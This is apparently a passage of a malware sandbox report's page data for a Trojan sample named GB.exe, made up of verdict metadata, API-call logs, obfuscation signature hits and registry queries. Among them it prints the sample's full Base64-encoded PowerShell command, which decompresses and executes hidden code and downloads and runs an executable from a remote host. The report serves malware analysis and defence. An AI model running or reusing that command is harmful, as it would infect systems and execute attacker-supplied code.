24:I[10321,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/3h6zdc-it88if.js","/_next/static/chunks/2vw2j18d9u3gs.js","/_next/static/chunks/3l_wb6il5gi_h.js"],"ReportDetailWrapper"] 310:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4fa,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic — Falcon Sandbox Report — Score 100/100 — Sample d698994e5271…","description":"Malicious verdict for sandbox report 658988e479a3…. Malware family: Trojan.Generic. Threat score 100/100. 11 malicious and 15 suspicious behavioral indicators across 262 signatures. Detonated in Windows 10 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/d698994e527111a6ddd590e09ddf08322d54b82302e881f5f27e3f5d5368829c/658988e479a329c125013938","keywords":["Malicious","Trojan.Generic","sandbox report","malware analysis","MITRE ATT\u0026CK","d698994e527111a6ddd590e09ddf08322d54b82302e881f5f27e3f5d5368829c"],"about":{"@type":"SoftwareApplication","name":"GB.exe","applicationCategory":"PE32+ executable (GUI) x86-64, for MS Windows","identifier":"d698994e527111a6ddd590e09ddf08322d54b82302e881f5f27e3f5d5368829c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","sandboxEnvironment":"Windows 10 64 bit","behavioralIndicators":{"malicious":11,"suspicious":15,"totalSignatures":262},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAACIiIcAAAAAAAAAAAAAAIiIiI+Hd3dwAAAAAAAACIiIiIiHd3eHdwAAAAAIiIj4iI/4d3d3iIdwAAAAd3/4iIiP/4d3ePiId3gAAHB/iIiIj/iIh3j4j3d3cABwf4d4iP/4iIeI+I93d3cAcHh3eIj/iIiHiPiId3d3AHB4iHeP+IiHiIj4iHd3dwBweIiI//iHd4iI+IhwAAAAcHd3ePiPd3eIiPiIcAAAAHB3d3j4+Hd3iIj4iHAAAABwd4h4//h3d4iI+IhwAAAAcHd3eIj4h3eIiPiIcAAAAHB4t4iP/4iIiIj4iHAAAABweHeIj/+IiIh/94hwAAAAcH+IiI//iIiIf/iIcAAAAHB/+IiP//iIiH/4iHAAAABwf/iIiIiIiHeP+IhwAAAAcH+Id3d4iIiIj/iIcAAAAHd4eIiIiPiIiP/4iHAAAAAIh3//iIj/////+IhwAAAAAAd///+P////+PeIcAAAAAAHf///+IiId3iIeHcAAAAAB3h3d3d3eIiIj4iHAAAAAAd4d3iI//////+Hh3AAAAAHeIeP////////+HeAAAAAB3iIj//////4iIiHgAAAiAd4iIj4iIiIiIiIeAAAAAAAj/iIiIiHiIiIiHAAAAAAAAAAh4iIiIiIh3gAAAAAgAAAAAAAAIAAAAAAiAAAD/+A///4AA//wAAH/AAAA/gAAAB4AAAAOAAAABgAAAAYAAAAGAAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD/AAAA/8AAAP/AAAB/wAAAf8AAAD/AAAA/wAAAPkAAAH/gAAD//gAB/v/7/nw==26:T177c,powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBEAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAHsACgAKACAAIAAgACAAIAAgACAAIABbAEMAbQBkAGwAZQB0AEIAaQBuAGQAaQBuAGcAKAApAF0ACgAgACAAIAAgAFAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQAsAFYAYQBsAHUAZQBGAHIAbwBtAFAAaQBwAGUAbABpAG4AZQBCAHkAUAByAG8AcABlAHIAdAB5AE4AYQBtAGUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJAAoAFQAaAByAG8AdwAoACIALQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiACkAKQAKACAAIAAgACAAKQAKACAAIAAgACAAIAAgACAAIABQAHIAbwBjAGUAcwBzACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAFYAZQByAGIAbwBzAGUAIAAiAEcAZQB0AC0ARABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIgAKACAAIAAgACAAIAAgACAAIAAkAGkAbgBwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGcAegBpAHAAUwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAaQBuAHAAdQB0ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHoAaQBwAFMAdAByAGUAYQBtAC4AQwBvAHAAeQBUAG8AKAAgACQAbwB1AHQAcAB1AHQAIAApAAoAIAAgACAAIAAgACAAIAAgACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAHAAdQB0AC4AQwBsAG8AcwBlACgAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAE8AdQB0AEEAcgByAGEAeQAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAkAGIAeQB0AGUATwB1AHQAQQByAHIAYQB5AAoAIAAgACAAIAB9AAoAfQAKAAoAWwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAF8AYQByAHIAYQB5ACAAPQAgADMAMQAsADEAMwA5ACwAOAAsADAALAAwACwAMAAsADAALAAwACwANAAsADAALAAxADQAOQAsADEANAA0ACwAMQA5ADMALAAxADEANAAsADEAMwAwACwANAA4ACwAMgAwACwANgA5ACwAMQAyADcALAA0ADEALAA5ADYALAAxADAAOQAsADEAOQA5ACwAMQAzADMALAAxADEALAA1ACwAMQA0ADYALAA5ACwAMwA1ACwAMQA3ADcALAAyACwAMQAyADUALAA5ACwAMQAxADEALAAxADAAMwAsADYANgAsADcALAAxADcAMQAsADEAMgA5ACwANAA2ACwANgA4ACwANwA3ACwAMgA0ADgALAAyADUAMAAsADcAMAAsADEAOAA2ACwAMgAzADkALAA3ADYALAAxADEAOQAsADEAMQAxACwAMQAxADMALAAyADMAMQAsADEANQA4ACwAMgA0ADMALAAxADcANAAsADIAMwAzACwAOQA3ACwAMgAyADQALAAxADQAMAAsADkANAAsADQAOAAsADIAMQA3ACwAMgA0ADIALAAxADMAOAAsADgALAA4ADAALAA4ADQALAAyADIAMAAsADEAMQAzACwANAAwACwAMgAzACwAMQA0ADEALAAyADAAMgAsADEANwAzACwAMgAwADIALAAxADkANgAsADEAOAAxACwAOAAxACwAOQA4ACwANgA2ACwAMwA3ACwAMgAwADQALAAxADcANAAsADkANQAsADEANAAxACwAMgA0ACwAMQA4ADUALAAyADUAMAAsADIAMAAwACwAMgAyADQALAAxADcAMAAsADEANgA5ACwAMQAyADMALAA1ADUALAAxADIALAAxADEAMAAsADEAMwA4ACwAMQAzADcALAAxADgANwAsADEANQAwACwAMgAwADkALAA3ADMALAAyADQANwAsADEAMwA1ACwAMQAxADAALAAyADMALAAzADEALAAxADgANgAsADEANQA2ACwAMgAwACwAMQA3ADUALAAxADMAOAAsADYANgAsADIAMAAwACwAMgAzADEALAAxADQANwAsADIAMAAyACwAMQAwADQALAA4ADYALAAxADIANwAsADIAMQA2ACwAMQAyADUALAAxADYANQAsADkANAAsADkAMgAsADEAOAA0ACwAMwAxACwAMwA4ACwANAAzACwANwA5ACwANAA1ACwAMQA2ADMALAAxADYANgAsADEAMAAyACwAMQA3ADEALAAxADEANQAsADMANQAsADEANQA3ACwAMQAsADYALAAxADYAMwAsADEANgAxACwAMgAzADgALAAyADQAMQAsADIAMAA0ACwAMwAwACwAMQA0ADkALAAzADIALAA0ADAALAAxADUAMQAsADEANgA0ACwAMQA3ADYALAAxADQAMgAsADQALAAyADIALAA0ADEALAAxADkAMAAsADEANQAwACwAMgA0ADYALAAxADQANwAsADEAMgA1ACwAMQAyACwANgAwACwAOAA5ACwAMgA0ADUALAA2ADAALAAyADkALAA2ADEALAA3ADQALAAyADEAMQAsADUAMwAsADEANwA4ACwAMQA4ADgALAAyADQAMAAsADEANgA0ACwAMgA1ADMALAAyADEAMQAsADgAMQAsADEANwAxACwAOQA4ACwANQAyACwANAA5ACwAMQA0ADQALAAxADUAMAAsADIAMQA3ACwAMgA3ACwANAA2ACwAMQAzADIALAA1ADcALAA0ADQALAAxADkAMgAsADYANwAsADEANQAsADYAMgAsADIANAA3ACwAMQA1ADUALAA1ADkALAAzADgALAAxADUANQAsADkANwAsADIANQA0ACwAMQA5ADMALAAxADUANQAsADIAMgA0ACwAMgAxADgALAAxADEANgAsADEAMgAzACwAMQA5ADEALAAyADMANwAsADEAMQA3ACwAOQAyACwAMQAyADYALAAxADYAMwAsADEAMgA0ACwANQA4ACwAMgA0ADAALAAyADcALAAxADcAMAAsADEANAA3ACwAMgAyADEALAA3ADEALAAxADMAMAAsADEAMwAyACwANwA4ACwAMQA3ADgALAAzACwAMQAxADMALAA2ADkALAA5ACwAMQA1ACwAMQA1ADgALAA2ADgALAAxADkALAA3ADkALAAxADMAOQAsADUANQAsADUAMQAsADEAMQAxACwAOAA0ACwAOQAwACwAMgAwADUALAAxADIAOAAsADkANgAsADEAOAAxACwAMgA1ACwAMQA3ADAALAAxADAAOAAsADcANgAsADEALAA5ADIALAAxADcAMwAsADkAOQAsADMANgAsADEAMAA5ACwANwA2ACwANgAxACwAMQAzADAALAA3ADUALAA1ADMALAAxADYAMwAsADgAMwAsADkANgAsADcAOQAsADQAMgAsADgAOQAsADEAMwA0ACwANwA3ACwAOQAwACwANQAxACwANQAxACwAMgAwADcALAAxADkAMQAsADIAMwA4ACwAMgA0ACwANQA0ACwANgA3ACwAOAA1ACwAMgAxADgALAAyADUANQAsADIANQAwACwAMgAwADcALAAyADkALAAyADIAMQAsADEAMgAyACwAMgA1ADMALAAzACwANAAsADEANwA4ACwAMgA1ADMALAAxADcANAAsADEANgA0ACwAMQAsADAALAAwAAoAJABkAGUAYwBvAG0AcAByAGUAcwBzAGUAZABCAHkAdABlAEEAcgByAGEAeQAgAD0AIABHAGUAdAAtAEQAZQBjAG8AbQBwAHIAZQBzAHMAZQBkAEIAeQB0AGUAQQByAHIAYQB5ACAALQBiAHkAdABlAEEAcgByAGEAeQAgACQAYgB5AHQAZQBfAGEAcgByAGEAeQAKAAoAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAgACQAZABlAGMAbwBtAHAAcgBlAHMAcwBlAGQAQgB5AHQAZQBBAHIAcgBhAHkAIAApACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAKQAgAHwAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4ACgAKAAoAdwBnAGUAdAAgACIAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBvAGwAZQBnAG8AdgBpAGMAaAAtADAAMAA3AC8ANwA3ADcALwBkAG8AdwBuAGwAbwBhAGQAcwAvAHcAcwB1AHMAYwByAC4AZQB4AGUAIgAgAC0AbwB1AHQAZgBpAGwAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAB3AHMAdQBzAGMAcgAuAGUAeABlACIACgBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAdwBzAHUAcwBjAHIALgBlAHgAZQAiAA==')) | Invoke-Expression"27:T4a6,"GB.exe" called "FindResourceA" with parameter "140697096884748" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096884760" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096884792" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096885024" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096884824" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096884992" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096885008" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "867645651408" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096884880" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "2004" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096884984" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "867645651472" - (UID: 00000000-00001640) "GB.exe" called "FindResourceA" with parameter "140697096884840" - (UID: 00000000-00001640)28:T7c2,"GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939944'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939800'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939960'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939848'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939816'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939864'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939912'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '140697096880128', 'hResInfo': '140697096939480'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939784'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939896'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939928'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939880'}" (UID: 00000000-00001640) "GB.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140697096939832'}" (UID: 00000000-00001640) "powershell.exe" called "LoadResource with parameter {'hModule': '2533260263425', 'hResInfo': '2533260264672'}" (UID: 00000000-00002648) "powershell.exe" called "LoadResource with parameter {'hModule': '2533260263425', 'hResInfo': '2533260264704'}" (UID: 00000000-00002648) "powershell.exe" called "LoadResource with parameter {'hModule': '2533260263425', 'hResInfo': '2533260264720'}" (UID: 00000000-00002648)29:T50d,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "GB.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "GB.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "GB.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001640.00000001.69198.987BB000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002648.00000000.67530.3964A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00008124.00000000.69516.3964A000.00000002.mdmp, 00000000-00008124.00000000.69516.72702000.00000002.mdmp")2a:T869,file/memory contains long string with (Indicator: "FromBase64String"; File: "00000000-00002648") file/memory contains long string with (Indicator: "IO.Compression.CompressionMode"; File: "00000000-00002648") file/memory contains long string with (Indicator: "::Decompress"; File: "00000000-00002648") file/memory contains long string with (Indicator: "FromBase64String"; File: "res.bat") file/memory contains long string with (Indicator: "FromBase64String"; File: "test2.bat") Found reference to API "powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZgB1AG4AYwB0AGkAbwBuACAARwBlAH" (Indicator: "FromBase64String"; Source: "00000000-00002816-00000C41-6230447366") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "IO.Compression.CompressionMode"; File: "AMSI") file/memory contains long string with (Indicator: "::Decompress"; File: "AMSI") Found reference to API "powershell -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABwAHcAZAAgAD0AIAAiAEEAZABkAC" (Indicator: "FromBase64String"; Source: "00000000-00002596-00000C41-7017600256") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002648.00000000.67530.D0550000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00002648.00000000.67530.D0550000.00000004.mdmp, 00000000-00002648.00000000.67530.D0720000.00000004.mdmp, 00000000-00002648.00000000.67530.D07D0000.00000004.mdmp, 00000000-00002648.00000000.67530.D1F80000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00008124.00000000.69516.20310000.00000004.mdmp, 00000000-00008124.00000000.69516.20360000.00000004.mdmp, 00000000-00008124.00000000.69516.20580000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00008124.00000000.69516.20360000.00000004.mdmp")2b:T460,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Commandline contains long base64 encoded string Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Sample file has high entropy (likely encrypted/compressed content)2c:T18ab,"GB.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001640) "GB.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001640) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002816) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002648) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002648) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acc5ea4d020000000000000000000051ed0589fd7f0000000000004d02000000000000000000005e0be9aece3c00002a0000000000000020ba63d04d0200008fec0589fd7f0000e0acc5ea4d020000e0acc5ea4d020000000000000000000000000000fd7f0000ffffff7f123a000000000000000000000000000000000000d8ceb9ea4d0200002a0000000000000069c372ea4d0200003100000000000000a403000000000000a803000000000000110001100000000080d44feba600000003a38c88fd7f000080d44feba600000000000000000000002b00000000000000000000000000000020b078ea4d020000b43f77ea4d020000e0ceb9ea (UID: 00000000-00002648) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000007dd04d0200000b8e0389fd7f000000007dd04d02000002000000000000003800000000000000400000000000000030037dd04d020000b8e120eca60000000100000000000000030000000000000001000000000000001600000000000000e01048d04d0200000000000000000000000048d04d020000005005eba600000000000000000000000000000001000000000000000000000080000000000000000400000000000000000000000000000018bff9d14d02000004000000000000003800000000000000f0988b88fd7f00003800000000000000380000000000000030e320eca6000000c00cc758fd7f000000000000 (UID: 00000000-00002648) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b07072fd7f000007000000000000000000000000000000010000000000000040c77dd04d0200000000000000000000f06dd4eb4d0200004c988b88fd7f0000e08dd4eb4d020000b3cebd58fd7f0000706ed4eb4d020000004f7072fd7f0000d0b07072fd7f000000000000000000000000000000000000706ed4eb4d02000040c77dd04d020000f099d4eb4d02000088e320eca60000004c988b88fd7f0000010000000000000088e320eca6000000f099d4eb4d020000706ed4eb4d020000010000000000000002bcbd58fd7f00005070d4eb4d02000070b7d2eb4d020000feffffff040000007df06f72fd7f00009099d4eb (UID: 00000000-00002648) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000040c77dd04d0200000000000000000000f06dd4eb4d0200004c988b88fd7f0000e08dd4eb4d020000b3cebd58fd7f0000b073d4eb4d020000384f7072fd7f0000d0b07072fd7f000000000000000000000000000000000000b073d4eb4d02000040c77dd04d020000f099d4eb4d02000080e320eca60000004c988b88fd7f0000010000000000000080e320eca6000000f099d4eb4d020000b073d4eb4d020000010000000000000002bcbd58fd7f0000000000000000000070b7d2eb4d0200005070d4eb04000000feffffffffffffff40c77dd04d0200007df06f72fd7f000000000000 (UID: 00000000-00002648) "powershell.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002648)2d:T5d9,"GB.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000f67f000090833268fd7f00009bd0263100000000b80600000000000011000000ca000000b8060000f67f00006700000000000000030000000000000003000000000000000a0000000000000038127b98f67f0000000000000000000000000000000000009bd026310000000000007b98f67f000000000000 (UID: 00000000-00001640) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00002648) "test2.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000000f77f000090833268fd7f00008883902300000000981f00000000000011000000cd000000981f0000f77f00006700000000000000030000000000000003000000000000000a00000000000000f098e375f77f00000000000000000000000000000000000088839023000000000000e375f77f000000000000 (UID: 00000000-00002540) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f00770073005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b00360034005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e006600690067000000 (UID: 00000000-00008124)2e:T825,"GB.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "GB.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "xcopy.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: 